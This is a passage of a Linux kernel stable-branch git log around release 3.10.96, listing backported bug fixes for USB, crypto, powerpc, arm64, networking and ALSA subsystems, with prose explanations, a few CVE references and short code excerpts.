to a workqueue. 2. Shrink the critical region so the usbhid lock protects only the instructions which modify usbhid state, calling hid_input_report() with the spinlock unlocked, allowing the device driver to grab the lock first, finish and then grab the lock afterwards in hid_ctrl(). This patch implements the 2nd solution. Signed-off-by: Ioan-Adrian Ratiu Signed-off-by: Jiri Kosina Signed-off-by: Jason Gerecke Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ff5edb11cb1fdb3190bdbf707834eb1306722935 Author: Mike Snitzer Date: Mon Nov 23 16:24:45 2015 -0500 dm btree: fix leak of bufio-backed block in btree_split_sibling error path commit 30ce6e1cc5a0f781d60227e9096c86e188d2c2bd upstream. The block allocated at the start of btree_split_sibling() is never released if later insert_at() fails. Fix this by releasing the previously allocated bufio block using unlock_block(). Reported-by: Mikulas Patocka Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c0d7fec1860fdcd468ae1c31154ce5ece8a21821 Author: Herbert Xu Date: Sun Nov 1 17:11:19 2015 +0800 crypto: algif_hash - Only export and import on sockets with data commit 4afa5f9617927453ac04b24b584f6c718dfb4f45 upstream. The hash_accept call fails to work on sockets that have not received any data. For some algorithm implementations it may cause crashes. This patch fixes this by ensuring that we only export and import on sockets that have received data. Reported-by: Harsh Jain Signed-off-by: Herbert Xu Tested-by: Stephan Mueller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aaee163b1e5fb123e4ccc2b84607051e68bc32e1 Author: Greg Kroah-Hartman Date: Sun Jan 31 11:11:58 2016 -0800 xhci: fix placement of call to usb_disabled() In the backport of 1eaf35e4dd592c59041bc1ed3248c46326da1f5f, the call to usb_disabled() was too late, after we had already done some allocation. Move that call to the top of the function instead, making the logic match what is intended and is in the original patch. Reported-by: Luis Henriques Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9ef0ac5cf7a73af1e1d289cd4b4772f6ab475607 Author: libin Date: Tue Nov 3 08:58:47 2015 +0800 recordmcount: Fix endianness handling bug for nop_mcount commit c84da8b9ad3761eef43811181c7e896e9834b26b upstream. In nop_mcount, shdr->sh_offset and welp->r_offset should handle endianness properly, otherwise it will trigger Segmentation fault if the recordmcount main and file.o have different endianness. Link: http://lkml.kernel.org/r/563806C7.7070606@huawei.com Signed-off-by: Li Bin Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9a2376117977ee72c249c2acfe268f895bd67912 Author: Greg Kroah-Hartman Date: Thu Jan 28 21:49:55 2016 -0800 Linux 3.10.96 Signed-off-by: Pranav Vashi commit 88431168bc290685ffa4f4de1090ab42ffa6bfc6 Author: Guenter Roeck Date: Sat Nov 28 08:52:04 2015 -0800 mn10300: Select CONFIG_HAVE_UID16 to fix build failure commit c86576ea114a9a881cf7328dc7181052070ca311 upstream. mn10300 builds fail with fs/stat.c: In function 'cp_old_stat': fs/stat.c:163:2: error: 'old_uid_t' undeclared ipc/util.c: In function 'ipc64_perm_to_ipc_perm': ipc/util.c:540:2: error: 'old_uid_t' undeclared Select CONFIG_HAVE_UID16 and remove local definition of CONFIG_UID16 to fix the problem. Fixes: fbc416ff8618 ("arm64: fix building without CONFIG_UID16") Cc: Arnd Bergmann Acked-by: Arnd Bergmann Acked-by: Acked-by: David Howells Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d85bad6eb0a14cb0d7c0d553140f28eb50b144f8 Author: Andrew Morton Date: Fri Jul 17 16:23:28 2015 -0700 openrisc: fix CONFIG_UID16 setting commit 04ea1e91f85615318ea91ce8ab50cb6a01ee4005 upstream. openrisc-allnoconfig: kernel/uid16.c: In function 'SYSC_setgroups16': kernel/uid16.c:184:2: error: implicit declaration of function 'groups_alloc' kernel/uid16.c:184:13: warning: assignment makes pointer from integer without a cast openrisc shouldn't be setting CONFIG_UID16 when CONFIG_MULTIUSER=n. Fixes: 2813893f8b197a1 ("kernel: conditionally support non-root users, groups and capabilities") Reported-by: Fengguang Wu Cc: Iulia Manda Cc: Josh Triplett Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9a306f724d34320eb794370fbfa775ff9a5a4d29 Author: Richard Purdie Date: Fri Sep 18 16:31:33 2015 -0700 HID: core: Avoid uninitialized buffer access commit 79b568b9d0c7c5d81932f4486d50b38efdd6da6d upstream. hid_connect adds various strings to the buffer but they're all conditional. You can find circumstances where nothing would be written to it but the kernel will still print the supposedly empty buffer with printk. This leads to corruption on the console/in the logs. Ensure buf is initialized to an empty string. Signed-off-by: Richard Purdie [dvhart: Initialize string to "" rather than assign buf[0] = NULL;] Cc: Jiri Kosina Cc: linux-input@vger.kernel.org Signed-off-by: Darren Hart Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 942d23d08957d1646a8fb795ae24c88369f61934 Author: Mikulas Patocka Date: Mon Nov 30 14:47:46 2015 -0500 parisc iommu: fix panic due to trying to allocate too large region commit e46e31a3696ae2d66f32c207df3969613726e636 upstream. When using the Promise TX2+ SATA controller on PA-RISC, the system often crashes with kernel panic, for example just writing data with the dd utility will make it crash. Kernel panic - not syncing: drivers/parisc/sba_iommu.c: I/O MMU @ 000000000000a000 is out of mapping resources CPU: 0 PID: 18442 Comm: mkspadfs Not tainted 4.4.0-rc2 #2 Backtrace: [<000000004021497c>] show_stack+0x14/0x20 [<0000000040410bf0>] dump_stack+0x88/0x100 [<000000004023978c>] panic+0x124/0x360 [<0000000040452c18>] sba_alloc_range+0x698/0x6a0 [<0000000040453150>] sba_map_sg+0x260/0x5b8 [<000000000c18dbb4>] ata_qc_issue+0x264/0x4a8 [libata] [<000000000c19535c>] ata_scsi_translate+0xe4/0x220 [libata] [<000000000c19a93c>] ata_scsi_queuecmd+0xbc/0x320 [libata] [<0000000040499bbc>] scsi_dispatch_cmd+0xfc/0x130 [<000000004049da34>] scsi_request_fn+0x6e4/0x970 [<00000000403e95a8>] __blk_run_queue+0x40/0x60 [<00000000403e9d8c>] blk_run_queue+0x3c/0x68 [<000000004049a534>] scsi_run_queue+0x2a4/0x360 [<000000004049be68>] scsi_end_request+0x1a8/0x238 [<000000004049de84>] scsi_io_completion+0xfc/0x688 [<0000000040493c74>] scsi_finish_command+0x17c/0x1d0 The cause of the crash is not exhaustion of the IOMMU space, there is plenty of free pages. The function sba_alloc_range is called with size 0x11000, thus the pages_needed variable is 0x11. The function sba_search_bitmap is called with bits_wanted 0x11 and boundary size is 0x10 (because dma_get_seg_boundary(dev) returns 0xffff). The function sba_search_bitmap attempts to allocate 17 pages that must not cross 16-page boundary - it can't satisfy this requirement (iommu_is_span_boundary always returns true) and fails even if there are many free entries in the IOMMU space. How did it happen that we try to allocate 17 pages that don't cross 16-page boundary? The cause is in the function iommu_coalesce_chunks. This function tries to coalesce adjacent entries in the scatterlist. The function does several checks if it may coalesce one entry with the next, one of those checks is this: if (startsg->length + dma_len > max_seg_size) break; When it finishes coalescing adjacent entries, it allocates the mapping: sg_dma_len(contig_sg) = dma_len; dma_len = ALIGN(dma_len + dma_offset, IOVP_SIZE); sg_dma_address(contig_sg) = PIDE_FLAG | (iommu_alloc_range(ioc, dev, dma_len) << IOVP_SHIFT) | dma_offset; It is possible that (startsg->length + dma_len > max_seg_size) is false (we are just near the 0x10000 max_seg_size boundary), so the funcion decides to coalesce this entry with the next entry. When the coalescing succeeds, the function performs dma_len = ALIGN(dma_len + dma_offset, IOVP_SIZE); And now, because of non-zero dma_offset, dma_len is greater than 0x10000. iommu_alloc_range (a pointer to sba_alloc_range) is called and it attempts to allocate 17 pages for a device that must not cross 16-page boundary. To fix the bug, we must make sure that dma_len after addition of dma_offset and alignment doesn't cross the segment boundary. I.e. change if (startsg->length + dma_len > max_seg_size) break; to if (ALIGN(dma_len + dma_offset + startsg->length, IOVP_SIZE) > max_seg_size) break; This patch makes this change (it precalculates max_seg_boundary at the beginning of the function iommu_coalesce_chunks). I also added a check that the mapping length doesn't exceed dma_get_seg_boundary(dev) (it is not needed for Promise TX2+ SATA, but it may be needed for other devices that have dma_get_seg_boundary lower than dma_get_max_seg_size). Signed-off-by: Mikulas Patocka Signed-off-by: Helge Deller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd7c66188c5d3ab4db6ea123704056d5d47f0df3 Author: Will Deacon Date: Thu Dec 10 16:05:36 2015 +0000 arm64: mm: ensure that the zero page is visible to the page table walker commit 32d6397805d00573ce1fa55f408ce2bca15b0ad3 upstream. In paging_init, we allocate the zero page, memset it to zero and then point TTBR0 to it in order to avoid speculative fetches through the identity mapping. In order to guarantee that the freshly zeroed page is indeed visible to the page table walker, we need to execute a dsb instruction prior to writing the TTBR. Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ef136e2d47c9da6b884989fac8fe58e95fc2bbf8 Author: John Blackwood Date: Mon Dec 7 11:50:34 2015 +0000 arm64: Clear out any singlestep state on a ptrace detach operation commit 5db4fd8c52810bd9740c1240ebf89223b171aa70 upstream. Make sure to clear out any ptrace singlestep state when a ptrace(2) PTRACE_DETACH call is made on arm64 systems. Otherwise, the previously ptraced task will die off with a SIGTRAP signal if the debugger just previously singlestepped the ptraced task. Signed-off-by: John Blackwood [will: added comment to justify why this is in the arch code] Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 99c5232668f07363f20c087a8393e5520e2bd016 Author: Arnd Bergmann Date: Fri Nov 20 12:12:21 2015 +0100 arm64: fix building without CONFIG_UID16 commit fbc416ff86183e2203cdf975e2881d7c164b0271 upstream. As reported by Michal Simek, building an ARM64 kernel with CONFIG_UID16 disabled currently fails because the system call table still needs to reference the individual function entry points that are provided by kernel/sys_ni.c in this case, and the declarations are hidden inside of #ifdef CONFIG_UID16: arch/arm64/include/asm/unistd32.h:57:8: error: 'sys_lchown16' undeclared here (not in a function) __SYSCALL(__NR_lchown, sys_lchown16) I believe this problem only exists on ARM64, because older architectures tend to not need declarations when their system call table is built in assembly code, while newer architectures tend to not need UID16 support. ARM64 only uses these system calls for compatibility with 32-bit ARM binaries. This changes the CONFIG_UID16 check into CONFIG_HAVE_UID16, which is set unconditionally on ARM64 with CONFIG_COMPAT, so we see the declarations whenever we need them, but otherwise the behavior is unchanged. Fixes: af1839eb4bd4 ("Kconfig: clean up the long arch list for the UID16 config option") Signed-off-by: Arnd Bergmann Acked-by: Will Deacon Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d2c5f6afb1b2832d3fdb16ee06a2006c0b490798 Author: Ulrich Weigand Date: Tue Jan 12 23:14:22 2016 +1100 scripts/recordmcount.pl: support data in text section on powerpc commit 2e50c4bef77511b42cc226865d6bc568fa7f8769 upstream. If a text section starts out with a data blob before the first function start label, disassembly parsing doing in recordmcount.pl gets confused on powerpc, leading to creation of corrupted module objects. This was not a problem so far since the compiler would never create such text sections. However, this has changed with a recent change in GCC 6 to support distances of > 2GB between a function and its assoicated TOC in the ELFv2 ABI, exposing this problem. There is already code in recordmcount.pl to handle such data blobs on the sparc64 platform. This patch uses the same method to handle those on powerpc as well. Acked-by: Steven Rostedt Signed-off-by: Ulrich Weigand Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 702445324292d957208d084c5ae102602e5070dd Author: Boqun Feng Date: Mon Nov 2 09:30:32 2015 +0800 powerpc: Make {cmp}xchg* and their atomic_ versions fully ordered commit 81d7a3294de7e9828310bbf986a67246b13fa01e upstream. According to memory-barriers.txt, xchg*, cmpxchg* and their atomic_ versions all need to be fully ordered, however they are now just RELEASE+ACQUIRE, which are not fully ordered. So also replace PPC_RELEASE_BARRIER and PPC_ACQUIRE_BARRIER with PPC_ATOMIC_ENTRY_BARRIER and PPC_ATOMIC_EXIT_BARRIER in __{cmp,}xchg_{u32,u64} respectively to guarantee fully ordered semantics of atomic{,64}_{cmp,}xchg() and {cmp,}xchg(), as a complement of commit b97021f85517 ("powerpc: Fix atomic_xxx_return barrier semantics") This patch depends on patch "powerpc: Make value-returning atomics fully ordered" for PPC_ATOMIC_ENTRY_BARRIER definition. Signed-off-by: Boqun Feng Reviewed-by: Paul E. McKenney Acked-by: Peter Zijlstra (Intel) Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 591e767b661c1963afdaf993fe15a108995c3659 Author: Boqun Feng Date: Mon Nov 2 09:30:31 2015 +0800 powerpc: Make value-returning atomics fully ordered commit 49e9cf3f0c04bf76ffa59242254110309554861d upstream. According to memory-barriers.txt: > Any atomic operation that modifies some state in memory and returns > information about the state (old or new) implies an SMP-conditional > general memory barrier (smp_mb()) on each side of the actual > operation ... Which mean these operations should be fully ordered. However on PPC, PPC_ATOMIC_ENTRY_BARRIER is the barrier before the actual operation, which is currently "lwsync" if SMP=y. The leading "lwsync" can not guarantee fully ordered atomics, according to Paul Mckenney: https://lkml.org/lkml/2015/10/14/970 To fix this, we define PPC_ATOMIC_ENTRY_BARRIER as "sync" to guarantee the fully-ordered semantics. This also makes futex atomics fully ordered, which can avoid possible memory ordering problems if userspace code relies on futex system call for fully ordered semantics. Fixes: b97021f85517 ("powerpc: Fix atomic_xxx_return barrier semantics") Signed-off-by: Boqun Feng Reviewed-by: Paul E. McKenney Acked-by: Peter Zijlstra (Intel) Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0a746debcc1d78190a1627a4091c8b12701cffe6 Author: Michael Neuling Date: Thu Nov 19 15:44:44 2015 +1100 powerpc/tm: Block signal return setting invalid MSR state commit d2b9d2a5ad5ef04ff978c9923d19730cb05efd55 upstream. Currently we allow both the MSR T and S bits to be set by userspace on a signal return. Unfortunately this is a reserved configuration and will cause a TM Bad Thing exception if attempted (via rfid). This patch checks for this case in both the 32 and 64 bit signals code. If both T and S are set, we mark the context as invalid. Found using a syscall fuzzer. Fixes: 2b0a576d15e0 ("powerpc: Add new transactional memory state to the signal context") Signed-off-by: Michael Neuling Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3fd7b67e0bdebd235e1d301d9ce7d5504473d3e7 Author: Ido Schimmel Date: Mon Jan 18 17:30:22 2016 +0200 team: Replace rcu_read_lock with a mutex in team_vlan_rx_kill_vid [ Upstream commit 60a6531bfe49555581ccd65f66a350cc5693fcde ] We can't be within an RCU read-side critical section when deleting VLANs, as underlying drivers might sleep during the hardware operation. Therefore, replace the RCU critical section with a mutex. This is consistent with team_vlan_rx_add_vid. Fixes: 3d249d4ca7d0 ("net: introduce ethernet teaming device") Acked-by: Jiri Pirko Signed-off-by: Ido Schimmel Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 17c39f0d6b35e9fad18b3c7d543132a6c3dfa89e Author: Ben Hutchings Date: Sun Nov 1 16:22:53 2015 +0000 ppp, slip: Validate VJ compression slot parameters completely [ Upstream commit 4ab42d78e37a294ac7bc56901d563c642e03c4ae ] Currently slhc_init() treats out-of-range values of rslots and tslots as equivalent to 0, except that if tslots is too large it will dereference a null pointer (CVE-2015-7799). Add a range-check at the top of the function and make it return an ERR_PTR() on error instead of NULL. Change the callers accordingly. Compile-tested only. Reported-by: 郭永刚 References: http://article.gmane.org/gmane.comp.security.oss.general/17908 Signed-off-by: Ben Hutchings Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b758f34374066aa62c09bc45cd2b5aa7b6dc9745 Author: Ben Hutchings Date: Sun Nov 1 16:21:24 2015 +0000 isdn_ppp: Add checks for allocation failure in isdn_ppp_open() [ Upstream commit 0baa57d8dc32db78369d8b5176ef56c5e2e18ab3 ] Compile-tested only. Signed-off-by: Ben Hutchings Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b9e6febe4eddb8966d95011b05527e43e08d80fc Author: Eric Dumazet Date: Tue Jan 12 08:58:00 2016 -0800 phonet: properly unshare skbs in phonet_rcv() [ Upstream commit 7aaed57c5c2890634cfadf725173c7c68ea4cb4f ] Ivaylo Dimitrov reported a regression caused by commit 7866a621043f ("dev: add per net_device packet type chains"). skb->dev becomes NULL and we crash in __netif_receive_skb_core(). Before above commit, different kind of bugs or corruptions could happen without major crash. But the root cause is that phonet_rcv() can queue skb without checking if skb is shared or not. Many thanks to Ivaylo Dimitrov for his help, diagnosis and tests. Reported-by: Ivaylo Dimitrov Tested-by: Ivaylo Dimitrov Signed-off-by: Eric Dumazet Cc: Remi Denis-Courmont Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a902defb2c9fff36d3fc64d38a5211076bdfc58f Author: Neal Cardwell Date: Mon Jan 11 13:42:43 2016 -0500 tcp_yeah: don't set ssthresh below 2 [ Upstream commit 83d15e70c4d8909d722c0d64747d8fb42e38a48f ] For tcp_yeah, use an ssthresh floor of 2, the same floor used by Reno and CUBIC, per RFC 5681 (equation 4). tcp_yeah_ssthresh() was sometimes returning a 0 or negative ssthresh value if the intended reduction is as big or bigger than the current cwnd. Congestion control modules should never return a zero or negative ssthresh. A zero ssthresh generally results in a zero cwnd, causing the connection to stall. A negative ssthresh value will be interpreted as a u32 and will set a target cwnd for PRR near 4 billion. Oleksandr Natalenko reported that a system using tcp_yeah with ECN could see a warning about a prior_cwnd of 0 in tcp_cwnd_reduction(). Testing verified that this was due to tcp_yeah_ssthresh() misbehaving in this way. Reported-by: Oleksandr Natalenko Signed-off-by: Neal Cardwell Signed-off-by: Yuchung Cheng Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0c2a38d11cff3909fb947853c52984c7de02afc6 Author: Francesco Ruggeri Date: Wed Jan 6 00:18:48 2016 -0800 net: possible use after free in dst_release [ Upstream commit 07a5d38453599052aff0877b16bb9c1585f08609 ] dst_release should not access dst->flags after decrementing __refcnt to 0. The dst_entry may be in dst_busy_list and dst_gc_task may dst_destroy it before dst_release gets a chance to access dst->flags. Fixes: d69bbf88c8d0 ("net: fix a race in dst_release()") Fixes: 27b75c95f10d ("net: avoid RCU for NOCACHE dst") Signed-off-by: Francesco Ruggeri Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 28e14b300c72267de6270cc2eb9901f7eb2d45e0 Author: Hannes Frederic Sowa Date: Tue Jan 5 10:46:00 2016 +0100 bridge: Only call /sbin/bridge-stp for the initial network namespace [ Upstream commit ff62198553e43cdffa9d539f6165d3e83f8a42bc ] [I stole this patch from Eric Biederman. He wrote:] > There is no defined mechanism to pass network namespace information > into /sbin/bridge-stp therefore don't even try to invoke it except > for bridge devices in the initial network namespace. > > It is possible for unprivileged users to cause /sbin/bridge-stp to be > invoked for any network device name which if /sbin/bridge-stp does not > guard against unreasonable arguments or being invoked twice on the > same network device could cause problems. [Hannes: changed patch using netns_eq] Cc: Eric W. Biederman Signed-off-by: Eric W. Biederman Signed-off-by: Hannes Frederic Sowa Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b5237321bd46871b401c02daf8630d1c7efac9f9 Author: willy tarreau Date: Sun Jan 10 07:54:56 2016 +0100 unix: properly account for FDs passed over unix sockets [ Upstream commit 712f4aad406bb1ed67f3f98d04c044191f0ff593 ] It is possible for a process to allocate and accumulate far more FDs than the process' limit by sending them over a unix socket then closing them to keep the process' fd count low. This change addresses this problem by keeping track of the number of FDs in flight per user and preventing non-privileged processes from having more FDs in flight than their configured FD limit. Reported-by: socketpair@gmail.com Reported-by: Tetsuo Handa Mitigates: CVE-2013-4312 (Linux 2.0+) Suggested-by: Linus Torvalds Acked-by: Hannes Frederic Sowa Signed-off-by: Willy Tarreau Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 218eece91e2c8872fc67ac003a27beb41690bcd3 Author: Florian Westphal Date: Thu Dec 31 14:26:33 2015 +0100 connector: bump skb->users before callback invocation [ Upstream commit 55285bf09427c5abf43ee1d54e892f352092b1f1 ] Dmitry reports memleak with syskaller program. Problem is that connector bumps skb usecount but might not invoke callback. So move skb_get to where we invoke the callback. Reported-by: Dmitry Vyukov Signed-off-by: Florian Westphal Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 95b554be1f9939d248ffe31b8929d675fda0da43 Author: Xin Long Date: Tue Dec 29 17:49:25 2015 +0800 sctp: sctp should release assoc when sctp_make_abort_user return NULL in sctp_close [ Upstream commit 068d8bd338e855286aea54e70d1c101569284b21 ] In sctp_close, sctp_make_abort_user may return NULL because of memory allocation failure. If this happens, it will bypass any state change and never free the assoc. The assoc has no chance to be freed and it will be kept in memory with the state it had even after the socket is closed by sctp_close(). So if sctp_make_abort_user fails to allocate memory, we should abort the asoc via sctp_primitive_ABORT as well. Just like the annotation in sctp_sf_cookie_wait_prm_abort and sctp_sf_do_9_1_prm_abort said, "Even if we can't send the ABORT due to low memory delete the TCB. This is a departure from our typical NOMEM handling". But then the chunk is NULL (low memory) and the SCTP_CMD_REPLY cmd would dereference the chunk pointer, and system crash. So we should add SCTP_CMD_REPLY cmd only when the chunk is not NULL, just like other places where it adds SCTP_CMD_REPLY cmd. Signed-off-by: Xin Long Acked-by: Marcelo Ricardo Leitner Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2983955e2957294ce09398018c39fd55a74e62fe Author: Andrey Ryabinin Date: Mon Dec 21 12:54:45 2015 +0300 ipv6/addrlabel: fix ip6addrlbl_get() [ Upstream commit e459dfeeb64008b2d23bdf600f03b3605dbb8152 ] ip6addrlbl_get() has never worked. If ip6addrlbl_hold() succeeded, ip6addrlbl_get() will exit with '-ESRCH'. If ip6addrlbl_hold() failed, ip6addrlbl_get() will use about to be free ip6addrlbl_entry pointer. Fix this by inverting ip6addrlbl_hold() check. Fixes: 2a8cc6c89039 ("[IPV6] ADDRCONF: Support RFC3484 configurable address selection policy table.") Signed-off-by: Andrey Ryabinin Reviewed-by: Cong Wang Acked-by: YOSHIFUJI Hideaki Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4ad628c767214e81406ca0622ed215e1e782f565 Author: Vijay Pandurangan Date: Fri Dec 18 14:34:59 2015 -0500 veth: don’t modify ip_summed; doing so treats packets with bad checksums as good. [ Upstream commit ce8c839b74e3017996fad4e1b7ba2e2625ede82f ] Packets that arrive from real hardware devices have ip_summed == CHECKSUM_UNNECESSARY if the hardware verified the checksums, or CHECKSUM_NONE if the packet is bad or it was unable to verify it. The current version of veth will replace CHECKSUM_NONE with CHECKSUM_UNNECESSARY, which causes corrupt packets routed from hardware to a veth device to be delivered to the application. This caused applications at Twitter to receive corrupt data when network hardware was corrupting packets. We believe this was added as an optimization to skip computing and verifying checksums for communication between containers. However, locally generated packets have ip_summed == CHECKSUM_PARTIAL, so the code as written does nothing for them. As far as we can tell, after removing this code, these packets are transmitted from one stack to another unmodified (tcpdump shows invalid checksums on both sides, as expected), and they are delivered correctly to applications. We didn’t test every possible network configuration, but we tried a few common ones such as bridging containers, using NAT between the host and a container, and routing from hardware devices to containers. We have effectively deployed this in production at Twitter (by disabling RX checksum offloading on veth devices). This code dates back to the first version of the driver, commit ("[NET]: Virtual ethernet device driver"), so I suspect this bug occurred mostly because the driver API has evolved significantly since then. Commit <0b7967503dc97864f283a> ("net/veth: Fix packet checksumming") (in December 2010) fixed this for packets that get created locally and sent to hardware devices, by not changing CHECKSUM_PARTIAL. However, the same issue still occurs for packets coming in from hardware devices. Co-authored-by: Evan Jones Signed-off-by: Evan Jones Cc: Nicolas Dichtel Cc: Phil Sutter Cc: Toshiaki Makita Cc: netdev@vger.kernel.org Cc: linux-kernel@vger.kernel.org Signed-off-by: Vijay Pandurangan Acked-by: Cong Wang Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1d3fd2ff86a6708ea48f848e894ba284eda18818 Author: Oliver Neukum Date: Thu Dec 3 15:03:34 2015 +0100 xhci: refuse loading if nousb is used commit 1eaf35e4dd592c59041bc1ed3248c46326da1f5f upstream. The module should fail to load. Signed-off-by: Oliver Neukum Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9b58766c98212e16f7f103b69e6854328901215e Author: Oliver Freyermuth Date: Mon Dec 28 18:37:38 2015 +0100 USB: cp210x: add ID for ELV Marble Sound Board 1 commit f7d7f59ab124748156ea551edf789994f05da342 upstream. Add the USB device ID for ELV Marble Sound Board 1. Signed-off-by: Oliver Freyermuth Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b23efacb69055a659db6ab942be07de3d1002f59 Author: Dan Carpenter Date: Wed Dec 16 14:06:37 2015 +0300 USB: ipaq.c: fix a timeout loop commit abdc9a3b4bac97add99e1d77dc6d28623afe682b upstream. The code expects the loop to end with "retries" set to zero but, because it is a post-op, it will end set to -1. I have fixed this by moving the decrement inside the loop. Fixes: 014aa2a3c32e ('USB: ipaq: minor ipaq_open() cleanup.') Signed-off-by: Dan Carpenter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e4b4910409265d138a21e119b1262fb9a9018e55 Author: Chunfeng Yun Date: Fri Dec 4 15:53:43 2015 +0200 usb: xhci: fix config fail of FS hub behind a HS hub with MTT commit 096b110a3dd3c868e4610937c80d2e3f3357c1a9 upstream. if a full speed hub connects to a high speed hub which supports MTT, the MTT field of its slot context will be set to 1 when xHCI driver setups an xHCI virtual device in xhci_setup_addressable_virt_dev(); once usb core fetch its hub descriptor, and need to update the xHC's internal data structures for the device, the HUB field of its slot context will be set to 1 too, meanwhile MTT is also set before, this will cause configure endpoint command fail, so in the case, we should clear MTT to 0 for full speed hub according to section 6.2.2 Signed-off-by: Chunfeng Yun Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f665a4d248de06532c6b7512c11bd339dc215595 Author: Nikesh Oswal Date: Wed Dec 23 14:18:05 2015 +0000 ASoC: arizona: Fix bclk for sample rates that are multiple of 4kHz commit e73694d871867cae8471d2350ce89acb38bc2b63 upstream. For a sample rate of 12kHz the bclk was taken from the 44.1kHz table as we test for a multiple of 8kHz. This patch fixes this issue by testing for multiples of 4kHz instead. Signed-off-by: Nikesh Oswal Signed-off-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 23530b023ef2924c8a3dddeb71706eb295945fb3 Author: Sachin Pandhare Date: Tue Nov 10 23:38:02 2015 +0530 ASoC: wm8962: correct addresses for HPF_C_0/1 commit e9f96bc53c1b959859599cb30ce6fd4fbb4448c2 upstream. From datasheet: R17408 (4400h) HPF_C_1 R17409 (4401h) HPF_C_0 17048 -> 17408 (0x4400) 17049 -> 17409 (0x4401) Signed-off-by: Sachin Pandhare Acked-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit db6c8716e75226c3e786234e36126b38822de3a1 Author: Takashi Iwai Date: Mon Jan 18 14:12:40 2016 +0100 ALSA: control: Avoid kernel warnings from tlv ioctl with numid 0 commit c0bcdbdff3ff73a54161fca3cb8b6cdbd0bb8762 upstream. When a TLV ioctl with numid zero is handled, the driver may spew a kernel warning with a stack trace at each call. The check was intended obviously only for a kernel driver, but not for a user interaction. Let's fix it. This was spotted by syzkaller fuzzer. Reported-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f5be49bbd8cabf2bb0d1db65e9a3910e093e166d Author: Nicolas Boichat Date: Mon Jan 18 21:35:00 2016 +0800 ALSA: pcm: Fix snd_pcm_hw_params struct copy in compat mode commit 43c54b8c7cfe22f868a751ba8a59abf1724160b1 upstream. This reverts one hunk of commit ef44a1ec6eee ("ALSA: sound/core: use memdup_user()"), which replaced a number of kmalloc followed by memcpy with memdup calls. In this case, we are copying from a struct snd_pcm_hw_params32 to a struct snd_pcm_hw_params, but the latter is 4 bytes longer than the 32-bit version, so we need to separate kmalloc and copy calls. This actually leads to an out-of-bounds memory access later on in sound/soc/soc-pcm.c:soc_pcm_hw_params() (detected using KASan). Fixes: ef44a1ec6eee ('ALSA: sound/core: use memdup_user()') Signed-off-by: Nicolas Boichat Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d0aec4c1dcd48e949bf86c3fa8e69132d68c81ea Author: Nicolas Boichat Date: Mon Jan 18 21:35:01 2016 +0800 ALSA: seq: Fix snd_seq_call_port_info_ioctl in compat mode commit 9586495dc3011a80602329094e746dbce16cb1f1 upstream. This reverts one hunk of commit ef44a1ec6eee ("ALSA: sound/core: use memdup_user()"), which replaced a number of kmalloc followed by memcpy with memdup calls. In this case, we are copying from a struct snd_seq_port_info32 to a struct snd_seq_port_info, but the latter is 4 bytes longer than the 32-bit version, so we need to separate kmalloc and copy calls. Fixes: ef44a1ec6eee ('ALSA: sound/core: use memdup_user()') Signed-off-by: Nicolas Boichat Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman 